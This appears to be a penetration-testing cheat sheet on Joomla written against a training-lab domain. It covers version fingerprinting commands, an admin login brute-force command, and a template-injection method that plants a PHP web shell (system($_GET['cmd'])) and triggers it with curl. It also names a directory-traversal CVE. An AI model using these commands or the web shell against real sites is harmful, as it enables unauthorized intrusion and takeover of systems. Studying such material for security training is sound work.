Navigation
Breadcrumb

Web Technologies
Joomla menu

Joomla

On this page

Introduction

  • CMS used for discussion forums, photo galleries, e-Commerce, user-based communities, and more.
  • Written in PHP and uses MySQL in the backend.

Joomla Discovery/Footprinting

CommandDescription
droopescan scan joomla --url http://dev.inlanefreight.localEnumeration via droopescan
python2.7 joomlascan.py -u http://dev.inlanefreight.localEnumeration via joomlascan.py
curl -s http://dev.inlanefreight.local/ | grep JoomlaCheck Webpage Source
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -Some Joomla versions may be fingerprinted from this file
Browse to http://dev.inlanefreight.local/plugins/system/cache/cache.xmlThe cache.xml file can give out an approximate version of Joomla
Browse to http://dev.inlanefreight.local/media/system/js/Some versions of Joomla can be fingerprinted by analyzing the javascript files in this folder
Browse to http://blog.inlanefreight.local/robots.txtCheck for references to Joomla
Browse to http://dev.inlanefreight.local/README.txtCheck the README file to look for references to Joomla

Joomla Users and Login Bruteforcing

  • Administrator account:
    The default administrator account is admin, but the password is set at install time
  • You can perform login broteforce by using the following: https://github.com/ajnik/joomla-bruteforce
  • PoC: sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

Joomla Known Vulnerabilities

  1. PHP TEMPLATE CODE INJECTION TO RCE [Requires Admin Account]
    • The basic idea is to add PHP code inside a template
    • Login as Admin → Navigate to Configuration → Select a Template → Select an existing PHP file → add the following payload:
    • system($_GET['cmd']);
    • curl -s http://dev.inlanefreight.local/templates/protostar/error.php?cmd=id
  2. Joomla 3.9.4 directory traversal CVE-2019-10945